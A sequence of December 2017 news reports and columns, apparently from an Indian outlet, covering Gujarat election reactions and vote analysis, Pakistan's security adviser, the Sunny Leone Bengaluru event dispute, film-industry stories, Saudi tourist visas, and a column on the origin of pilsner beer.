In November, Ummar Khan, a dairy farmer, was shot dead in Alwar district and his dismembered body was found on the railway tracks. He was taking cows in a pick-up truck to his village in Haryana.
Islamabad: Pakistan's security czar on Tuesday said that the stability of the South Asian region hangs in a delicate balance and the possibility of a nuclear war cannot be ruled out.

National Security Advisor Lt Gen (retd.) Nasser Khan Janjua also accused the US of conspiring against the multi-billion China-Pakistan Economic Corridor (CPEC) with India, The Express Tribune reported.

Addressing a seminar on issues of national security here, Janjua claimed that India has been stockpiling a range of dangerous weapons and it threatens Pakistan continuously of conventional warfare.

"The stability of the South Asian region hangs in a delicate balance, and the possibility of nuclear war cannot be ruled out," he claimed.

The NSA stressed that supporting US forces in the region had given birth to the rise of terrorism inside the country.

"As the Taliban grow stronger in Afghanistan, America has started to shift the blame for its failures in the country onto Pakistan," he said.

He also alleged that as part of its policy to counter Chinese influence in South Asia, the US is conspiring against the China-Pakistan Economic Corridor along with India.

"The US has given India role in Afghanistan s political process, giving New Delhi priority over Islamabad, and has opposed the CPEC," he said.

The nearly USD 50 billion CPEC, a flagship project of China s prestigious One Belt One Road (OBOR), passes through Pakistan-occupied Kashmir (PoK). The CPEC links China's restive Xinjiang region with Pakistan's Balochistan province.

"The US-India alliance has an identical stance on the Kashmir issue, and America frequently gives India preference over Pakistan," Janjua said.

He said Pakistan encountered the menace of terrorism only after it started supporting the operations of US-led forces in Afghanistan.

"Pakistan has been battling with security problems for the past forty years. Peace in Afghanistan remains our top priority," he said.
New Delhi: The Sikh community from Hangu district of Khyber-Pakhtunkhwa (K-P) in Pakistan raised concerns after being forced to convert to Islam by a government official.

Community leaders lodged a complaint with the deputy commissioner claiming that an Assistant Commissioner Tehsil Tall Yaqoob Khan was allegedly forcing Sikhs to convert to Islam, reported The Express Tribune.

Punjab Chief Minister Captain Amarinder Singh tweeted to External Affairs Minister Sushma Swaraj, urging her to take up the issue with Pakistan. "We cannot allow the Sikh community to be victimised in such a manner. It's our duty to help protect the Sikh identity and the Ministry of External Affairs should pursue the matter at the highest level," he said.

Request @SushmaSwaraj ji to take up this issue with Pakistan. We cannot allow the Sikh community to be victimised in such a manner. Its our duty to help protect the Sikh identity and the @MEAIndia should pursue the matter at the highest levels.https://t.co/sRFjV1pk5Q Capt.Amarinder Singh (@capt_amarinder) December 19, 2017

District Nazim Hangu for minority Farid Chand Singh, who filed the complaint, said that it would not have affected them had it been someone ordinary. When you hear such things from a government official, it becomes something really serious, Singh told The Express Tribune.

Meanwhile, Deputy Commissioner Hangu Shahid Mehmood said the Sikh community members got offended during a conversation with the assistant commissioner, which the latter never really meant.

He further added that there is no such issue of converting someone forcefully to Islam, rather administration ensured religious freedom.
Bengaluru: Sunny will have her day in court, on Thursday. The event management company that planned a New Years Eve programme featuring actress Sunny Leone in Bengaluru  which was denied permission by the police amid law and order concerns  has filed a writ petition in the Karnataka High Court, asking that the programme should be given approvals as they have planned the event for nearly two months now.

The petition will come up for hearing on Thursday, company officials say. The programme, called Sunny Night, is scheduled to feature many Kannada bands and artistes. There were three  four parts of the programme where Leone features  including one Kannada film song titled Sesamma.

The proposed programme saw many activists of a fringe group called the Karnataka Rakshana Vedike Yuva Sena holding protests at the programme venue in Bengaluru and in about 12 districts across the state.

The plea argues that the persons who protested are seemingly and by records supposed to be anti-social elements, engaged in acts of vandalism and creating of unrest. Their unfair threats and pressure should not be the driving force for the state police to take such unmindful decisions.

Besides, the fact that untoward incidents that have happened elsewhere or lack of force cannot be the yardstick for denying permission for the event, the petition argues, as it has been planned well within a legal framework, with all formalities on permissions followed, the venue and security pre-decided, parking and safety facilities such as fire and pollution clearances already finalised.

The event managers also ask the HC to direct the police to ensure suitable deployment of forces, as these activists continue to threaten the organisers.

Though the main pro-Kannada organisation, the Karnataka Rakshana Vedike, has distanced itself saying they dont endorse these protests, activists belonging to the Yuva Sena say the programme is against Kannada culture and heritage.
You might have heard about the word pilsner. Here is the story of its genesis. In three acts.

Dramatis Personae

Hops and Barley  The two main ingredients in beer.

Moravia and Bohemia  Parts of the Czech Republic

Bavaria  A German Province bordering Bohemia which helps her in beer crisis.

Pilsner  A type of pale lager beer born in the city of Pilzen, Bohemia.

Joseph Groll  The Bavarian beer master, who helped the Bohemians make the first Pilsner in the world.

Bohemia  Bohemia.

The Bohemian way  Ask Joseph Groll (only from a safe distance).

Prologue

Bohemia...

The motherland of gypsies. Where troubadours, artists and poets wander about sipping life as it passes by. Wild imagination startles into life here, and runs amok unbridled, along unbeaten trails.

Do people call you irresponsible, non-committal, detached and still happy? Tell them you are a bit Bohemian. The land has famously granted its name to those who lead an unconventional and blissful life.

Tell me, who among us has never wished in secret to lead a Bohemian life?

Bohemia, part of the Czech Republic is also synonymous with beer for centuries. Perhaps a lot of good beer which flowed from the land has built that romantic image.

Remember, it was a Bohemian, Tadeas Hajeck who wrote the first brewing textbook in 1588. But, alas... those were salad days.

Act 1

Many centuries later, we catch the Bohemian burghers (citizens), dispirited and disheartened, sitting around a table, with their chins rested on their arms. Their future seemed bleak.

It was only a week back they poured down the drain one batch of beer they had brewed in front of the town hall. And along with it went the reputation of the famous Bohemian beer.

The quality of the famous beer from Bohemia reached new low, they were convinced.

They knew they had to look elsewhere for support.

Bohemia is sandwiched between the Czech Moravia and the German Bavaria. The latter was the seat of beer during the time. People from faraway lands used to visit Munich to study Bavarian beer in close quarters.

So at the end of the emergency meeting, the committee of Bohemian burghers decided to bring an expert from across the border to set up a new brewery in the city of Pilzen, in Bohemia.

Act II

A massive hunt began in Bavaria to find an expert beer maker who would help Bohemia recapture its lost reputation. Finally, they zeroed in on one.

Joseph Groll. The saviour of Bohemian beer. The new brew master.

Joseph Groll. The coarsest man in Bavaria, his friends said. The rudest man in the city, Grolls father added.

Joseph Groll. The one who knew the job. Beer making.

Groll was briefed to create a beer of Bavarian style. He grunted, and recruited Bavarian barrel makers, Bavarian assistants and Bavarian yeasts. He was going to make another Bavarian beer but from Bohemia.

Except for the locally grown ingredients everything else was Bavarian.

Groll thoughtfully used the sweet Moravian barley and Bohemian hops, which had bitterness and a lot of aroma to make the new beer. So it became an experiment of Bavarian expertise on Bohemian barley and hops.

Act III

The burghers were tense when the beer was finally ladled into their glasses. With much trepidation they sipped the golden beverage with thick snow-white foam. The liquid coated their mouth with its sharp, delicious taste. After moments of tense silence the gathering broke into one unending applause.

The quiet town of Pilsen had never been reverberated with such loud cheers as the burghers welcomed the new beer which they knew was going to put their land back on the beer map.

Joseph Groll, just nodded his head, tasting his make.

He had just created the first Pilsner in history. Bohemia would be grateful to him for once again raising its image in the world.

Groll was fired in 1845, three years later. He was rude to some Bavarian burghers. They sent him away and continued to celebrate life after the Bohemian fashion. Long live beer.

(Manu Remakant is a freelance writer who also runs a video blog - A Cup of Kavitha - introducing world poetry to Malayalees. Views expressed here are personal)
Saudi Arabia will begin issuing tourist visas in the first quarter of 2018, its top tourism official said, a first for the kingdom as it undergoes major economic and social reforms.

Prince Sultan bin Salman bin Abdulaziz told AFP that "all government approvals" are in place for the launch of electronic visas next year to "all nationals whose countries allow their citizens to visit" Saudi Arabia. "We are now just preparing the regulations -- who is eligible for the visas and how to obtain them," added the head of the Saudi Commission for Tourism and National Heritage, who is a son of King Salman.

The move to open up its tourism sector is a major shift for Saudi Arabia as the powerful Crown Prince Mohammed Bin Salman seeks to radically overhaul the kingdom's oil-dependent economy and shed its ultra-conservative image. Apart from the millions of Muslims who travel to Saudi Arabia annually for the Hajj pilgrimage, most visitors face an arduous process and steep fees to enter the kingdom.

Saudi Arabia currently grants tourist visas for a limited number of countries, but even those applications involve a range of restrictions, including requirements to travel through an accredited company and stay at designated hotels. Prince Sultan said the cost of the new tourist visa had not yet been settled, but stressed that it would be "as low as possible, because we believe the cumulative economic impact is greater than the cash from the visa".

Saudi Arabia, though richly endowed with natural beauty, is notorious worldwide for its longstanding bans on the mixing of the sexes, alcohol consumption and women driving -- making it an undesirable destination for many. In recent months, the kingdom has broken with some of its most rigid rules -- lifting a cinema ban, allowing genders to mix at a national celebration and announcing that women will be allowed to drive next June. Prince Mohammed in August announced a massive tourism project to turn 50 islands and a string of sites on the Red Sea into luxury resorts.
Los Angeles: UK public broadcaster BBC has ordered a feature-length documentary on the rise and fall of producer Harvey Weinstein.

The documentary will include interviews with "the many actresses who have been brave enough to tell their stories" sexual harassment and assault scandal, as well as producers, directors, actors, agents, lawyers, journalists and others, reported Variety.

The 90-minute film, directed by Ursula MacFarlane, has the working title Weinstein and will air on BBC Two.

Production company Lightbox, founded by Academy Award- winning producer Simon Chinn and Emmy Award winner Jonathan Chinn, said it wants the documentary to tell "the definitive story of Weinstein's career, fall from grace and Hollywood's culture of abuse."

"As a little bit of an (industry) insider, I was fascinated with the story as it unfolded and not a little shocked. As much as people knew a lot about Harvey and his reputation, there was plenty that we didn't know," Simon said.

Chinn, who has met the disgraced mogul once, said the BBC Two documentary would retell the Weinstein story in light of recent revelations and in the context of the wider culture in Hollywood.

"As the story evolved, we started to think about the industry as a whole and the culture and complicity of the industry, and the question of how Harvey got away with that level of alleged behaviour and... Whether we are looking at a real watershed moment, he added.

Tom McDonald, head of commissioning, natural history and specialist factual at the BBC, said that the project "promises to be the definitive take on the Weinstein scandal.
In October, Nawazuddin Siddiqui, who has mostly been seen avoiding talking in front of the cameras, made headlines for his scandalous confessions in his biography titled An Ordinary Life: A Memoir. The actor opened up about his alleged affairs with a New Yorker, his Miss Lovely co-star Niharika Singh and a National School Drama alumna Sunita Rajwar.

However, the actor later decided to withdraw the book after receiving severe backlash. While Niharika accused him of "fabricating stories and manipulating a fleeting relationship", Sunita lashed out at him in a lengthy Facebook post, saying his biography is An Ordinary Life Of Extraordinary Lies.

Sunita had even slapped a defamation suit on Nawazuddin and demanded an apology from the actor for manipulating the details of their alleged affair in his memoir.

According to a report in Mumbai Mirror, the Maanjhi actor has now responded to the legal notice through his lawyer and called Rajwar's claims a "cheap publicity stunt". He also added that he was talking about some other Sunita in his memoir.

Calling Nawazuddin a liar, Sunita told Mumbai Mirror, "He himself has given all the evidence in his memoir that says I am the one he is talking about. First, he wrote my name in the book along with National School of Drama, although without the surname, but there was no other Sunita in NSD during our batch. Then he referred to that girl as 'Pahadi Girl', again there was no other girl from the hills, other than me."

In a long Hindi post on her Facebook, Sunita had earlier alleged that she was Nawaz's junior when he was studying films and theatre in NSD and they both knew each other. While, Nawaz, in his book, had claimed that he did not know Sunita during his NSD days and only met her during a play.
She has been at the receiving end of attacks on social media ever since she spoke out against misogyny in the Malayalam film Kasaba, but actor Parvathy has given it back in kind to a director who insinuated that she thought of principles only after she became famous.

Malayalam director Jude Anthany Joseph put up a post on his Facebook account on Monday saying, A monkey managed to get into circus and obeyed whatever the master said. It ran, it jumped, it rolled. Finally it becomes good, famous and then starts abusing all the circus masters. Laments that the masters exploited the monkey. The monkey could have very well abandoned the circus and gone back to the jungle. But who will know the monkey then?"

Though Jude did not take any names it was evident what he was getting at. Parvathy who debuted in the Malayalam film Out of Syllabus in 2006 later went on to deliver big hits like Ennu Ninte Moideen and Takeoff as well as play the female lead in the Dhanush starrer Maryan in Tamil and the recent Bollywood release Qarib Qarib Singlle.

But Parvathy had an even bolder reply  without taking any names  to all the circus owners. OMKV she tweeted back, which in Malayalam trollspeak is roughly equivalent to bugger off.

Judes post also came under severe criticism from several others.

Parvathy became the target of online venom after she spoke out against misogyny in movies at an open forum at the IFFK (International film festival of Kerala ) "It's a movie I unfortunately watched. With all due respect to the technicians of the movie, I was disappointed to watch an actor par excellence, whose many films I have watched, mouth certain dialogues which were not only derogatory but most saddening to a woman. People say films reflect society. The line we draw is when we glorify it or not glorify it. When the hero says it, its obviously glorified and gives many other men the licence to say the same, because it is ohh so sexy and cool," Parvathy said referring to the film crime thriller Kasaba directed by Nithin Renji Panicker in which superstar Mammootty played the male lead.

This did not go well with many, especially those claiming to be the fans of Mammootty, but Parvathy refused to back down from her stand.
Rani Mukerji, who was last seen on the big screen in Mardani in 2014, is all set to make her big screen comeback with Siddharth P Malhotra's Hichki next year. The actor in an interaction with CNN News18 reveals that when she went on set after the 2-year sabbatical she took post Adira's birth, she was unsure whether she could act and that led her to break down on the first day.

"Normally when I used to do one film a year and come back, so people used to say, Oh! Rani has come back! But this time was an actual comeback because I did take a break for 2 years and completely and thoroughly enjoyed the break. And I was so domesticated for those 2 years and just being with my baby, changing her nappies, doing the regular chores of the house- that just made me feel I think abhi yehi karti hu mai."

The first day I cried. When it hit me that I'm going back to work, I was howling in the car. I always keep very tough and fearless exterior, so I don't want to cry in front of my driver. I kept thinking "Oh god this is going to be tough, I hope Adira is going to be okay" but my daughter is stronger than I think she is. She was very supportive and I never wanted to miss any milestone of hers," she explained.

Rani further said that she didn't miss acting that much because she was consumed with her daughter's love and the role-play of being a mother. Given that Adira was a premature baby, Rani shares that she needed those initial 4 months to make sure her baby kept well and then it was her husband Aditya Chopra, who pushed her back to work. "The list was endless. After 6 months, I can get back to looking into my life, starting to work out. You put on weight as a mother and you've to get back to face the camera. And my husband, being my husband, was very particular about that. He was the one who constantly kept telling me that you need to get back to work, you need to be who you are. He was a constant factor- every day of my life- to the point where I used to tell him that can you just stop it. And he was a very positive influence in my life in the sense that if he wasn't after my life, I'd have probably taken a longer break."

The actor even shared that it was the timing of Hichki that worked well for her and lauded the makers for adjusting the shoot schedule as per her timings. "If people encourage more working mothers and could just tweak their timing, I think a lot more mothers can come out and work like this. The help that I got from my team, it wouldn't have been possible without them. They made it so comfortable that they actually kept to the word they told me."

Rani, whos always been at a distance from social media, reveals that its single-handedly her husbands decision to not keep Adira away from the media glare. This is single-handedly my husband's decision. In this topic, he has no interest in taking my advice or opinion. This department he's like that no, I don't want her pictures.

And its very important for me that when you're in a relationship, you choose your battles and I keep telling him that one fine day, she's going to be clicked which she did. And ironically she got clicked with her father and I was like "Thank god, it was not me, she adds.

Being an actor used to the paparazzi and media culture, Rani admits that she doesnt have a problem in getting her daughter clicked and its even hard for them to consciously keep her away from glare but Aditya makes it a point to blatantly say no for photographs.

It is very hard not to get her photograph. But Adi's reputation is so spoiled that everyone fears taking a picture with her because he blatantly says no. Everyone was pretty scared in a way to take her picture because they knew it wasn't allowed, or it wasnt right.

Pointing out that little Adira made friends with everyone, Rani says, Honestly, I wouldn't mind Adira's pictures and I'm happy that a few of them have come out as well. But I do understand Adi's point of view and I respect it. And till the time we can, we will. When we cant, we cant.

She also highlights that while she understands her husbands point of view, somewhere in the future, he needs to see the point too. The thing is that I've to respect Adi, but in time Adi needs to understand. Like I understand that from where he's coming from, we need to give our child a normal upbringing. Like today if she goes on a beach, she should go unnoticed. Because otherwise she won't enjoy the beach getting attention and there are very few places in Bombay where she can go for recreation.

On being asked if as a celebrity is it hard to be married to someone whos so private, Rani immediately says that she loves this quality about him. I love that about him (his idea of being private). I dont mind the world knowing everything or showing the pictures but not at the cost of making another person feel uncomfortable. If my partner is uncomfortable and hes not happy, how am I going to be happy? If he was happy sharing the photos, I would feel happy that hes a part of this but I cant be akele happy so as a couple youve to do things together.

The actor also fears that if she ever makes her social media debut, shell be trolled the first day for not sharing pictures of her husband and daughter. I think its a great platform and itll be help in so many ways. But what Im scared is that if tomorrow someone asks me of a picture of my daughter or my husband, how much am I going to say no? So Ill be probably trolled the first day. And I dont think anybody would understand that.

Rani also talks at length about how Adira is as a child and how shes made Rani more tolerant and patient in life. She's a great mix of me and Adi. She's very definitive in her answers- if it's a no, it's a no and you cant really cuddle her and think she's a child so you can get things done. She's a very good soul and a good balancer. If she upsets one person, she makes sure to make it up to that person, she won't let anyone feel bad and if she gives one importance to another, she makes sure that the other minute, she makes the other one feel important enough. She's very attached to me.

The actor further sheds light on how she remained connected with films despite being on a break and points out that for an actor its imperative to evolve with each film and adds that much of her choices after Hichki will depend on how the film fares.
Sunny Leone has faced more than her fair share of flak since her transition from the US adult film industry to Bollywood. The onslaught shows no sign of stopping anytime soon. After Sunny was reported to be featuring in a New Years Eve program at Bengaluru's Manyata Tech Park, the city as well as social media erupted in opposition as well as - faint - support of the actor's presence at the event.

The program, called Sunny Night, was scheduled to feature many Kannada bands and artistes. There were three  four parts of the program where Leone was set to feature  including one Kannada film song titled Sesamma. Meanwhile, Bengaluru's police swung into inaction with the police commissioner T. Suneel Kumar denying permission for the event to take place. Citing a writ by the Karnataka High Court that instructed authorities to ensure peaceful New Year celebrations and prevent untoward incidents, Kumar stated that due to the spreading out of the city's police force across Bengaluru on New Year's Eve, the law-and-order arm of government would not be able to provide "adequate security".

The event management company that planned the event subsequently filed a writ petition in the Karnataka High Court, asking that the program should be given approvals as they have planned the event for nearly two months now. However, as both sides continued to spar it out, Sunny decided not to participate in the event, announcing her decision via Twitter.

"Since the police of Bengaluru have publicly said that they will not be able to ensure mine, and all who attend, safety for my New Years event, my team and I feel, safety of the people should always come first. Therefore, I cannot attend. God bless and I wish everyone a safe and Happy New Year," she tweeted.

Check out the tweets below.

Since the police of Bangalore have publicly said that they will not be able to ensure mine & all who attend safety for my New Years event,my team & I feel,safety of the people should always come first therefore I cannot attend.God bless & I wish everyone a safe & happy New Year! Sunny Leone (@SunnyLeone) December 19, 2017
Mumbai: Hollywood star Will Smith is in India to promote his Netflix movie Bright and the actor today said all the ideologies are governed by an individual or group's need to feel superior than others.

The 49-year-old actor, who stars as "racist" human cop in sci-fi action-crime drama, said it was interesting to be on the other side.

He said his role in the Netflix movie made him understand that even the struggle to get rid of these ideologies is motivated by this sense of superiority.

"What I realised - it's not just racism, it's all the 'isms' (the ideologies). Racism, sexism, class-ism, nationalism - all of the -isms are about the individual or group's ego struggle for comparative superiority. Everybody wants to feel like they are better than somebody. Even a fight against racism is laced with an individual's need to feel superior.

"I never saw it that way. So, both sides of any -ism, one of them is winning, so you're having an argument that is winning, so the other side feels inferior. Both sides are struggling for superiority," Smith said at a media roundtable here.

The actor is currently in India along with the director of the movie, David Ayer, and co-stars Joel Edgerton and Noomi Rapace.

Smith said while playing the character he, for the first time, understood "the negative reaction to the word, diversity."

"We say 'diversity' as if we mean 'equality', But really what diversity means - I'm going to use this term for me to get higher than you," he added.

Smith said the debate about racism has become more complicated for him post the film as it has made him aware of the consequences of the fight for "superiority".

"This role - really made me see that it is really difficult, almost what feels like a covert struggle for superiority and the problem got more complex -- can't say it got a lot easier in my mind, it got difficult.

"But looking at racism from this perspective... I comprehended the aspects of fear, ignorance and the individual and collective struggle that perpetuates and precipitates the violence," he said.

The actor, however, said the film does not aim at highlighting the issues like racism, but focuses on "how poorly we treat one another".

"I think that anytime you're creating, you can't help but the world makes its way into the art. We didn't talk about it specifically in those terms. We talked more specifically about the overarching social ideas of mistreatment and how poorly we treat one another. That was part of what David (Ayer) wanted to illustrate in the film," Smith said when asked whether his fantasy action was about the present day America.

"It's like we were saying (in the film) the Dark Lord is coming. We weren't thinking of Donald Trump," he quipped.

Bright is set to be released on Netflix on December 22.
New Delhi: Hardik Patel, the Patidar leader who made the election difficult for the BJP, on Tuesday claimed that 10-12 Congress candidates who lost the Gujarat assembly election would challenge the Election Commissions decision in the High Court.

Still appearing in battle mode, the 24-year-old said a recount is needed as people in the urban Patidar strongholds of Surat and Rajkot were left shocked with the verdict. He blamed the EVMs for the loss and said that the BJP won by tampering with the voting machines.

All the people in the state are not happy. All are shocked. There was a time people used to distribute laddoos here so many turned up for our rallies. There must be a recount using VVPAT, he said.

Patel was unable to contest the elections as he was too young, but took credit for 50 per cent of the votes Congress received. Many Congress candidates that I backed won, he said. The Congress won 17 of the 39 seats where Patidars were in a substantial number.

Patel said he would continue his agitation for Patidars and would also launch a campaign to remove communal distrust. I will not stop even if the BJP sends me to jail. If they do, I will show them the result of that in 2019 polls, he added.
Patna: A hard fought win for the BJP in Gujarat had resonance thousands of kilometres away in Bihar where its alliance partner, Janata Dal (United), advised the Narendra Modi government to focus on issues related to farmers and rural sectors.

After the Shiv Sena, an embattled BJP partner in Maharashtra, declaring the mandate by people of Gujarat as a moral victory for the Congress, the JD(U) has also come up with its own advice. The party has sought from the central government an increased focus on rural sector as the BJP performed poorly in the rural areas of Gujarat.

Sanjay Jha, the JD(U) general secretary and close aide of Nitish Kumar, believes rural areas will decide the fate of 2019 general elections.

Our Prime Minsiter Narendra Modi had vowed to double farmers' income by 2022. However nothing much is visible on the ground. This is an area where the union government should focus on, he said.

Earlier, another JD(U) leader, KC Tyagi, told the government to focus on the next budget, extend sops to the rural sector and increase layouts for farmers.

The JD(U) camp never wanted a clean sweep for the BJP as it could have further bolstered the saffron rank and file. At the same time, a defeat for the BJP could have put Nitish under immense pressure. So, a wafer thin majority has ensured that the BJP will now be more accommodative with other alliance partners of National Democratic Alliance (NDA).

Politically, Bihar would be a state to watch out for in 2019, Sanjay Jha said, adding that Nitishs push for development with social justice would be crucial for the NDA in the state.

Before the counting for Gujarat and Himachal, Lalu Prasad Yadav, leader of the main opposition party Rashtriya Janata Dal (RJD), had predicted President rule in the state if BJP got a big victory. The Lalu camp has gone completely silent after the verdict.

The RJD and the Congress have said Nitish played into the hands of BJP and got a raw deal in exchange for 2019.

The NDA won 31 seats out of 40 in 2014 Lok Sabha elections when the JD(U) fought alone. Based on this it was assumed that Nitish Kumars party will get fewer seats unlike earlier when it contested on more seats than the BJP. But putting this debate to rest, Sanjay Jha quipped, Who knows seat sharing has not been sealed off even for assembly elections slated in 2020?.
New Delhi: As results of Gujarat Assembly elections came in, it was clear that Prime Minister Narendra Modis 41 rallies in the state notwithstanding, the party was home, but only just. The BJPs yet another win in the state, where it had won five consecutive elections, was dubbed a face-saver by the opposition.

The Gujarat assembly election results show that the BJP has nothing much to celebrate. Although it has got a majority to form the government, it has got the lowest number of seats in the last two decades, said a statement by the CPI(M).

Asked why a sixth consecutive win must not be seen as an achievement, the partys polit bureau member and former general secretary Prakash Karat said, BJP president Amit Shah had claimed that they would get 150 seats. They did not even get 100. Their fall in seat numbers indicates a strong discontent against the party.

The Left party also emphasised the lack of a credible opposition with an alternative programme  a charge that sees validation in the fact that 5.5 lakh people preferred to vote NOTA.

When asked why the Congress with Rahul Gandhi at the helm and Jignesh Mevani, Hardik Patel and Alpesh Thakore on board was not the credible option, Karat said, The people must be convinced that there is a credible alternative to the BJP. That will only be reflected in the policies and programmes that you put out.

The CPI(M) which has, for now, ruled out any electoral alliance with the Congress does see merit in any broad issue based alliance that could pose a challenge to the Modi juggernaut in 2019. There are many assembly elections before 2019. I am sure that in the coming elections (many of the BJP ruled states, i.e. Rajasthan, MP and Chhattisgarh), the opposition has a very good opportunity to put forth a credible programme and rally the widest forces to defeat the BJP, said Karat.
New Delhi: NOTA (None of the Above) option got 2.5 times more votes than the Aam Aadmi Party (AAP) in the 29 seats that the party contested in Gujarat, according to an election result analysis by IANS.

The NOTA is an option in the Electronic Voting Machines (EVMs) and by registering a vote under NOTA, a voter can express his/ her rejection of all candidates contesting the election from any given constituency.

While the AAP got a total of 29,517 votes in the 29 seats, people used NOTA 75,880 times in these seats.

The party got more votes than NOTA in just one seat -- Katargam -- it contested. Here, the AAP got 4,135 votes while people used the NOTA option 1,693 times.

Also, in 20 seats the party got votes in three digits and in 16 of these, it polled less than 500 votes.

The lowest vote count the party got was 243 in Ankleshwar, where people went for the NOTA option 2,732 times -- more than 10 times the votes AAP got in the seat.

Gujarat AAP spokesperson Harshil Nayak told IANS that the major reasons for the defeat of their candidates include party's late decision to contest the elections and absence of the AAP central leadership during the campaign.

"There was confusion over whether to contest the election or not and we decided very late to fight the election, which affected us," Nayak said.
Mumbai: Shiv Sena on Tuesday launched a scathing attack on its ally BJP over the Gujarat election results and said the Gujarat model has been shaken.

In an editorial in its mouthpiece Saamana, Shiv Sena said it is pathetic that the BJP had to resort to emotional issues and Hindu-Muslim divide to garner notes in Gujarat. None of the BJP leaders were willing to speak about vikas attained in 22 years.

The Sena said this is a warning bell for the BJP. The Gujarat model has been shaken. Our best wishes to BJP that it doesnt crumble in 2019, the editorial said.

The bickering ally of the BJP said in spite of a BJP win in Gujarat everybody is talking about the leaps of Rahul Gandhi.

Reacting to the Gujarat election results, Sena had said on Monday that the Congress which had emerged as the "real winner".

Coming to power was no "big thing", Sena leader Sanjay Raut had said, adding that the Congress might have lost the polls, but had "defeated" the BJP.

"Although you see the BJP coming to power, the real winner is the Congress party. They may have lost, but have defeated the BJP," Raut said. He pointed out that the Gujarat had been in power for over 20 years in Gujarat. "Coming to power is not a big thing," Raut said.

The BJP "deprived the poor by emptying their pockets" with demonetisation, the Rajya Sabha member further said. "The result is seen in Gujarat."
New Delhi: After a respectable show in the Gujarat assembly elections, Rahul Gandhi on Tuesday claimed a moral victory and said the Congress had given a massive jolt to the BJP.

The Congress president, speaking for the first time after the loss, said this was a good show by the party and the BJP's margin for victory being the lowest in over three decades showed that Prime Minister Narendra Modi's credibility is being questioned on his own home turf.

BJPs propaganda has failed. Modi is very good in marketing but Gujaratis don't trust his vikas model. The PM talks of vikas but cant answer questions and has been exposed, he told reporters outside the Parliament.

Rahul pointed out that PM Modi had not talked about corruption or development during his election rallies, but talked of it only after the victory was secured. He did not respond to a single charge against his people, he said.

He also invoked Mahatma Gandhis name and said Gujaratis had taught both Modi and him a lesson  that anger, abuse and lies will always be defeated by love.

In three months Gujaratis gave me a lot of love. They taught me to respond to lies, threats, abuse, money and muscle power with love and brotherhood. Gujaratis have taught Modi that his anger will be defeated with love. This was also the message of Gandhiji, he said.

His statement on love was in continuation with the nice guy image he has tried to cultivate to counter Modis strong persona. On Monday, too, he had thanked Congress workers for a dignified fight in Gujarat elections in a tweet.

My Congress brothers and sisters, you have made me very proud. You are different than those you fought because you fought anger with dignity. You have demonstrated to everyone that the Congresss greatest strength is its decency and courage, Rahul wrote.

The BJP was quick to respond to the attack on Modi. Union minister Ananth Kumar said the PMs credibility was highest in the world and Rahuls credibility was under a cloud after yet another poll defeat.

The Congress will be defeated throughout the country. They lost Himachal and we hit a sixer in Gujarat under Modi ji. The Congress is not scoring anywhere. It shows who has credibility, he said.

On the allegation of PM Modi using lies and abuse in his poll campaign, Hegde told Rahul to read history and see what grandmother Indira did if he wants to know about ruthless politics.

He did not answer when asked about the corruption allegations over the Rafale jet deal and on Amit Shahs son Jay Shah.

Minister of state Jitendra Singh told CNN-News that Rahul should learn to accept the defeat with grace if he has learned so much from Gujaratis in three months. On the corruption allegations, he said even now, new details of graft under the previous UPA government are still coming out.
New Delhi: Congress' bid to wrest power from the BJP in Gujarat Assembly elections depended largely on the rural seats, support from Patidars, minorities and farmer communities. The party, however, failed in getting a majority, but ended up putting a tough fight with 77 seats in its bag.

But a post-result survey by Lokniti has projected that Congress did, infact, manage to get a substantial vote share from the communities it had earlier banked upon during the elections.

The party saw major gains in its vote share from the BJP's most loyal vote bank: Patel community, which constitutes 12-14 per cent of Gujarat's population.

Thirty six percent of the Patel votes went to Congress this time. In 2012 state elections, only 10 percent of the Patels had voted for the Congress party. The most number of votes from the community  46%  came from Leuva Patels. This is a 31% increase from what the party got in 2012 state elections when only 15% of the Leuva Patels had voted for the Congress.

Kadwa Patels, another dominant community of the Patels, also voted for the Congress party in good numbers this time. The party managed to in get 27% of the Kadwa Patels votes, which is an increase of 18% in comparison to the 2012 state elections when only 9% of the Kadwa Patels voted for the Congress.

This increase in Patel vote share for the Congress party can be attributed to the Hardik Patel-led Patidar agitation, which started in July 2015.

The party also managed to get 39% vote share of the total Other Upper Caste electoral population of the State. This is a 13% increase from what the party got in 2012 state elections when 26% of Other Upper Caste electoral population voted for the party.

According to the numbers released by Lokniti, the party also saw good gains in its vote share from the Other Backward Class (OBC) community. The party managed to increase its total OBC vote share by 8%. Forty one percent of the OBC community votes went to the Congress this time in comparison to 33% during 2012 state elections.

The party, however, saw a slight drop in its vote share from the Muslim community, which forms its main vote bank. This time only 64% of the Muslim electoral population voted for the party, which is 6% less that the 2012 state elections when the party had managed to get 70% of the Muslim votes.

Surprisingly, this vote share loss for the Congress party from its trusted vote bank meant that the BJP increased its Muslim vote share from 20%, which it got during the 2012 state elections to 27% this time.

However, three Muslim candidates fielded by the Congress emerged victorious in the Gujarat Assembly elections this time. In 2012 also, two candidates from the minority community had made it to the Assembly on Congress' ticket.

The BJP had not nominated any candidate from the community.

The other main reason for the spirited fight Congress put in the state can also be attributed to the displeasure of the farmer with the BJP. The farmer anger against the BJP government was stoked by the Vijay Rupani government's inability to uphold its promise on minimum support price (MSP) for cotton and groundnuts.

The Rupani government had promised an MSP of Rs 1,500 per 20 kg of cotton. What farmers got was only around Rs 700. In Saurashtra, farmers sold groundnuts at Rs 3,500 per quintal as against Rs 4,500 that the government had promised as a procurement price.

This resentment against the government worked in favor of the Congress. The party saw significant rise in its vote share from the farmer community.

Fifty six percent of the big farmers community, 48% of the medium farmers community, 43% of small farmers community and 43% of the marginal farmers community voted for the Congress this time. This rise in Congress vote share had a direct impact on the BJP which witnessed a substantial decrease in its vote share from these farmer communities.

The aftershocks of this were felt heavily by the BJP. One of the big names to fall was Chimanbhai Dharamshibhai Sapariya, minister of agriculture and energy in the outgoing Vijay Rupani Cabinet.

Sapariya lost to Congress' Kalariya Chiragbhai Rameshbhai in Jamjodhpur constituency. While the BJP candidate polled 61,694 votes, his main opponent received 64,212.
In the last decade of the last century Britains Labour party elected Tony Blair as its leader and he announced his intention to significantly alter the control and direction of Labour while retaining its socialist objectives.

Blairs two symbolic changes were calling the Party New Labour and winning a general vote to abolish Clause Four of its constitution.

Why? Because Labour, founded as a Party in 1906, had dedicated itself since 1918, through this Clause, to acquire for the workers-by-hand-or-brain the means of production.... it goes on for a long paragraph but essentially means the nationalisation of every industry or activity at the heights of the economy. Several sections of Britains population saw the retention of this perspective in modern times as being close to communism and, though the word doesnt have the bogey-man effect it has in the USA, it seemed to invest the Party and the Trades Unions that financed it with too much power.

